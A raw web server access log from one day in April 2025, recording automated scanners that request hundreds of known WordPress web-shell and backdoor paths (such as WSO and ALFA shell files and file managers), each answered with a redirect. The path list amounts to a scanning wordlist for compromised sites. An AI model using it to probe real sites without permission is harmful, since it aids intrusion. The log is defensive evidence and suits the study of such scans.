"python-requests/2.32.3" 36.37.152.42 - - [28/Apr/2025:06:18:53 -0400] "GET /wp-content/plugins/dhon/bbh.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 36.37.152.42 - - [28/Apr/2025:06:18:56 -0400] "GET /wp-content/plugins/dhon/byp.php?p= HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 36.37.152.42 - - [28/Apr/2025:06:18:59 -0400] "GET /wp-content/plugins/dhon/wp-fixi.php?p= HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 36.37.152.42 - - [28/Apr/2025:06:19:02 -0400] "GET /wp-content/plugins/dhon/yd.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 36.37.152.42 - - [28/Apr/2025:06:19:05 -0400] "GET /8573.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 192.109.217.213 - - [28/Apr/2025:06:55:52 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0 Safari/537.36" 85.208.98.18 - - [28/Apr/2025:07:04:00 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; SemrushBot; +http://www.semrush.com/bot.html)" 192.109.217.213 - - [28/Apr/2025:07:17:45 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0 Safari/537.36" 192.109.217.213 - - [28/Apr/2025:07:40:10 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0 Safari/537.36" 43.135.130.202 - - [28/Apr/2025:08:19:56 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 52.186.71.17 - - [28/Apr/2025:08:48:08 -0400] "GET /wp-content/ccx/ HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:48:09 -0400] "GET /wp-content/themes/tflow/ HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:48:09 -0400] "GET /wp-content/plugins/pwnd-1/ HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:48:10 -0400] "GET /wp-content/plugins/pwnd/ HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:48:10 -0400] "GET /wordpress/wp-includes/IXR/ HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:48:10 -0400] "GET /assets/fonts/ HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:48:11 -0400] "GET /vendor/phpunit/phpunit/src/Util/PHP/ HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:48:11 -0400] "GET /wp-content/plugins/css-ready/ HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:48:12 -0400] "GET /wp-content/plugins/linkpreview/ HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:48:12 -0400] "GET /wp-content/uploads/2023/11/ HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:48:13 -0400] "GET /wp-includes/js/tinymce/skins/wordpress/images/ HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:48:13 -0400] "GET /wp-includes/Requests/Text/ HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:48:13 -0400] "GET /wp-content/themes/wp-classic/inc/ HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:48:14 -0400] "GET /admin/upload/ HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:48:15 -0400] "GET /wp-includes.bak/html-api/ HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:48:15 -0400] "GET /wp-admin/maint/maint/ HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:48:16 -0400] "GET /wp-content/plugins/Cache/ HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:48:16 -0400] "GET /wp-admin/css/colors/coffee/ HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:48:17 -0400] "GET /wp-admin/js//wp-admin/js/ HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:48:18 -0400] "GET /wp/wp-includes/ HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:48:18 -0400] "GET /wp-includes/js/tinymce/skins/lightgray/img/ HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:48:18 -0400] "GET /wp-admin/css/colors/midnight/ HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:48:19 -0400] "GET /wp-content/gallery/ HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:48:19 -0400] "GET /wp-includes/PHPMailer/ HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:48:20 -0400] "GET /wp-content/plugins/backup-backup/includes/ HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:48:20 -0400] "GET /filemanager/ HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:48:21 -0400] "GET /images/ HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:48:21 -0400] "GET /wp-includes/js/tinymce/skins/lightgray/fonts/ HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:48:21 -0400] "GET /wp-content/plugins/envato-market/inc/ HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:48:22 -0400] "GET /wp-includes/js/codemirror/ HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:48:23 -0400] "GET /wp-content/themes/twentyfive/ HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:48:23 -0400] "GET /wp-content/themes/travel/ HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:48:24 -0400] "GET /wp-content/plugins/core/ HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:48:24 -0400] "GET /img/ HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:48:25 -0400] "GET /wp-content/plugins/contact-form-7/includes/js/jquery-ui/themes/smoothness/ HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:48:25 -0400] "GET /modules/mod_simplefileuploadv1.3/elements/ HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:48:26 -0400] "GET /wp-content/plugins/seoo/ HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:48:26 -0400] "GET /wp-includes/sitemaps/providers/ HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:48:27 -0400] "GET /wp-includes/fonts/ HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:48:28 -0400] "GET /ALFA_DATA/alfacgiapi/ HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:48:29 -0400] "GET /wp-content/plugins/widget-logic/ HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:48:29 -0400] "GET /wp-includes/js/tinymce/langs/ HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:48:29 -0400] "GET /wp-includes//wp-includes/ HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:48:30 -0400] "GET /wp-content/plugins/wp-hps/sh/ HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:48:31 -0400] "GET /wp-content/plugins/masterx/ HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:48:31 -0400] "GET /wp-content/plugins/custom/ HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:48:32 -0400] "GET /wp-includes/Requests/Exception/ HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:48:33 -0400] "GET /wp-content/plugins/yyobang/ HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:48:33 -0400] "GET /libraries/vendor/ HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:48:34 -0400] "GET /include/ HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:48:34 -0400] "GET /wp-content/blogs.dir/ HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:48:35 -0400] "GET /libraries/legacy/ HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:48:35 -0400] "GET /wp-content/uploads/2018/03/ HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:48:36 -0400] "GET /wp-content/plugins/press/ HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:48:36 -0400] "GET /libraries/phpmailer/ HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:48:36 -0400] "GET /wp-includes/Text/Diff/Renderer/ HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:48:37 -0400] "GET /wp-content/plugins/apikey/ HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:48:37 -0400] "GET /wp-content/banners/ HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:48:38 -0400] "GET /.wp-cli/ HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:48:38 -0400] "GET /wp-includes/sodium_compat/src/Core/Curve25519/Ge/ HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:48:38 -0400] "GET /wp-content/plugins/background-image-cropper/ HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:48:39 -0400] "GET /wp-admin/ccx/ HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:48:39 -0400] "GET /wp-includes/widgets/ HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:48:40 -0400] "GET /assets/images/ HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:48:40 -0400] "GET /wp-content/plugins/instabuilder2/cache/plugins/ HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:48:41 -0400] "GET /.well-known//.well-known/ HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:48:41 -0400] "GET /wp-includes/blocks/table/int/tmpl/ HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:48:41 -0400] "GET /wp-includes/js/jcrop/ HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:48:42 -0400] "GET /wp-includes/js/crop/ HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:48:43 -0400] "GET /wp/wp-admin/includes/ HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:48:43 -0400] "GET /wp-includes/sitemaps/ HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:48:43 -0400] "GET /wp-includes/js/dist/vendor/ HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:48:44 -0400] "GET /wp-content/themes/twentyseventeen/page/ HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:48:44 -0400] "GET /wp-includes/pomo/ HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:48:44 -0400] "GET /wp-content/plugins/seoplugins/ HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:48:44 -0400] "GET /wp-content/uploads/2014/03/ HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:48:45 -0400] "GET /wp-content/plugins/fix/ HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:48:46 -0400] "GET /.tmb/ HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:48:46 -0400] "GET /docs/ HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:48:46 -0400] "GET /wp-content/plugins/dzs-zoomsounds/ HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:48:47 -0400] "GET /wp-content/themes/ccx/ HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:48:48 -0400] "GET /wp-content/themes/travelscape/ HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:48:48 -0400] "GET /wordpress/wp-includes/ HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:48:48 -0400] "GET /wp-includes/Text/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:48:48 -0400] "GET /wp-admin/404.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:48:49 -0400] "GET /wp-admin/maint/layout.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:48:49 -0400] "GET /wp-content/plugins/dmZcq9yohpy9bCw5Q9fNaH/src/ui/index.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:48:50 -0400] "GET /.well-known/pki-validation/index.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:48:50 -0400] "GET /wp-admin/network/about.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:48:51 -0400] "GET /wp-admin/css/file.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:48:51 -0400] "GET /wp-includes/ID3/2.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:48:51 -0400] "GET /gebase.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:48:52 -0400] "GET /index/function.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:48:52 -0400] "GET /cgi-bin/160263/wsoyanzv3.5enc.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:48:53 -0400] "GET /cux.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:48:54 -0400] "GET /wp-includes/fonts/install.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:48:55 -0400] "GET /wp-includes/PHPMailer/Send.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:48:56 -0400] "GET /wp-includes/pomo/pomo.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:48:56 -0400] "GET /.well-known/idupkfqa.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:48:56 -0400] "GET /admin/function.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:48:57 -0400] "GET /filemanager.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:48:57 -0400] "GET /wp-content/uploads/wpr-addons/forms/63490fd7e6.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:48:57 -0400] "GET /wp-includes/html-api/aj.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:48:58 -0400] "GET /class.api.php999 HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:48:58 -0400] "GET /autoload_classmap/function.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:48:59 -0400] "GET /wp-admin/css/colors/blue/lock.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:48:59 -0400] "GET /wp-content/themes/wp-pridmag/admin.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:48:59 -0400] "GET /wp-content/wp-configs.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:49:00 -0400] "GET /small.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:49:00 -0400] "GET /wp-includes/wp-includes_function.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:49:00 -0400] "GET /wp-admin/css/colors/ectoplasm/admin.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:49:01 -0400] "GET /wp-content/plugins/oouxqal/ovacoczfz.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:49:01 -0400] "GET /wp-includes/Requests/vvEiCw.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:49:02 -0400] "GET /wp-includes/sitemaps/providers/buy.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:49:03 -0400] "GET /wp-admin/css/plugins.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:49:03 -0400] "GET /wp-admin/astab.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:49:04 -0400] "GET /wp-admin/js/about.php7 HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:49:04 -0400] "GET /.well-known/fmseuycg.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:49:04 -0400] "GET /wp-admin/includes/admin-ajax.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:49:05 -0400] "GET /wp-includes/Text/Diff/gethostbyname.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:49:05 -0400] "GET /admin/editor/engine.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:49:06 -0400] "GET /wp-content/themes/twentytwentythree/patterns/index.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:49:06 -0400] "GET /cgi-bin/radio.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:49:06 -0400] "GET /wp-admin/includes/class-wp-dxqJeZ.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:49:07 -0400] "GET /wp-content/uploads/index1.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:49:07 -0400] "GET /login.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:49:07 -0400] "GET /wp-content/plugins/dummyyummy/wp-signup.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:49:08 -0400] "GET /components/ovaxqhsbg.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:49:08 -0400] "GET /cwuvvcbn.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:49:08 -0400] "GET /rwvri.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:49:09 -0400] "GET /.well-known/acme-challenge/jmfi2.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:49:09 -0400] "GET /templates/beez3/1.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:49:10 -0400] "GET /wp-includes/images/media/code-text.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:49:11 -0400] "GET /wp-admin/includes/moon.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:49:11 -0400] "GET /file-manager.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:49:11 -0400] "GET /sxo.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:49:12 -0400] "GET /backup/sid.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:49:12 -0400] "GET /wp-content/themes/jobok/en.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:49:12 -0400] "GET /wp-includes/rest-api/index.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:49:13 -0400] "GET /wp-content/themes/astra/inc/customizer/custom-controls/description/index.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:49:13 -0400] "GET /wp-includes/index.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:49:14 -0400] "GET /wp-admin/js/widgets/doc.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:49:14 -0400] "GET /wp-content/plugins/bguoclz/ovaivknnc.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:49:15 -0400] "GET /wp-content/plugins/ioptimization/IOptimize.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:49:15 -0400] "GET /wp/ab.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:49:15 -0400] "GET /wp-includes/theme-compat/index.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:49:16 -0400] "GET /.well-known/pki-validation/asyaddpi.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:49:16 -0400] "GET /wp-admin/js/widgets/class.api.php999 HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:49:17 -0400] "GET /tmp/.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:49:17 -0400] "GET /wp-content/plugins/classic-editor/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:49:17 -0400] "GET /wp-includes/class-wp-session-href.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:49:18 -0400] "GET /wp-includes/js/tinymce/plugins/image/index.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:49:18 -0400] "GET /0x.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:49:19 -0400] "GET /checkbex.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:49:19 -0400] "GET /wp-admin/maint/01imunify.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:49:19 -0400] "GET /.well-known/pki-validation/3c2b55bd-fabd-419b-9718-66fbcf89acc5.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:49:20 -0400] "GET /baxa1.php7 HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:49:21 -0400] "GET /wp-includes/certificates/index.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:49:21 -0400] "GET /wp-content/plugins/seox/randkeyword.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:49:21 -0400] "GET /wp-includes/rest-api/admin.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:49:22 -0400] "GET /.well-known/hdkmnjbd.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:49:22 -0400] "GET /wp-includes/customize/index.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:49:23 -0400] "GET /S.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:49:23 -0400] "GET /wp-admin/index.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:49:24 -0400] "GET /wp-includes/goods.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:49:25 -0400] "GET /OLD-UP-ova.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:49:25 -0400] "GET /editor.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:49:26 -0400] "GET /retu.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:49:26 -0400] "GET /wp-includes/blocks/table/index.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:49:26 -0400] "GET /.well-known/pki-validation/65d9b536-ce5f-497e-8c82-8ee66c78d293.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:49:27 -0400] "GET /about/classwithtostring.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:49:28 -0400] "GET /wordpress/wp-content/plugins/HHX6zQm6DLw3Ae6bxM4VOR/src/ui/index.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:49:28 -0400] "GET /wordpress/wp-includes/css/dist/list-reusable-blocks/ovatthttr.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:49:28 -0400] "GET /wp-includes/theme-compat/about.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:49:29 -0400] "GET /lock.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:49:29 -0400] "GET /cgi-bin/moon.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:49:29 -0400] "GET /wp-admin/maint/go.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:49:30 -0400] "GET /ckgdg.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:49:30 -0400] "GET /wp-admin/maint/buy.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:49:31 -0400] "GET /wp-content/themes/seotheme/admin.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:49:31 -0400] "GET /wp-includes/rest-api/search/about.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:49:32 -0400] "GET /.wp-db.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:49:32 -0400] "GET /wp-admin/includes/about.php7 HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:49:33 -0400] "GET /wp-includes/ID3/custom-file-4-1735114949.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:49:33 -0400] "GET /storage/filemanager.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:49:33 -0400] "GET /wp-content/uploads/SakMaDic.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:49:34 -0400] "GET /.tmb/file.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:49:34 -0400] "GET /blog.php7 HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:49:35 -0400] "GET /wp-includes/Text/Diff/Engine/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:49:35 -0400] "GET /wp-admin/includes/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:49:36 -0400] "GET /wp-admin/js/chosen.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:49:36 -0400] "GET /wp-admin/js/widgets/moon.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:49:37 -0400] "GET /wp-admin/images/license.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:49:37 -0400] "GET /wp-content/upgrade/plugins.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:49:38 -0400] "GET /home/function.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:49:38 -0400] "GET /urcudivu.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:49:39 -0400] "GET /wp-content/plugins/erinyani/gebase.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:49:40 -0400] "GET /wp-content/themes/sky-pro/js.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:49:40 -0400] "GET /wp-content/themes/twentytwentytwo/inc/patterns/index.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:49:40 -0400] "GET /wp-includes/click.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:49:41 -0400] "GET /wp-includes/css/cong.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:49:41 -0400] 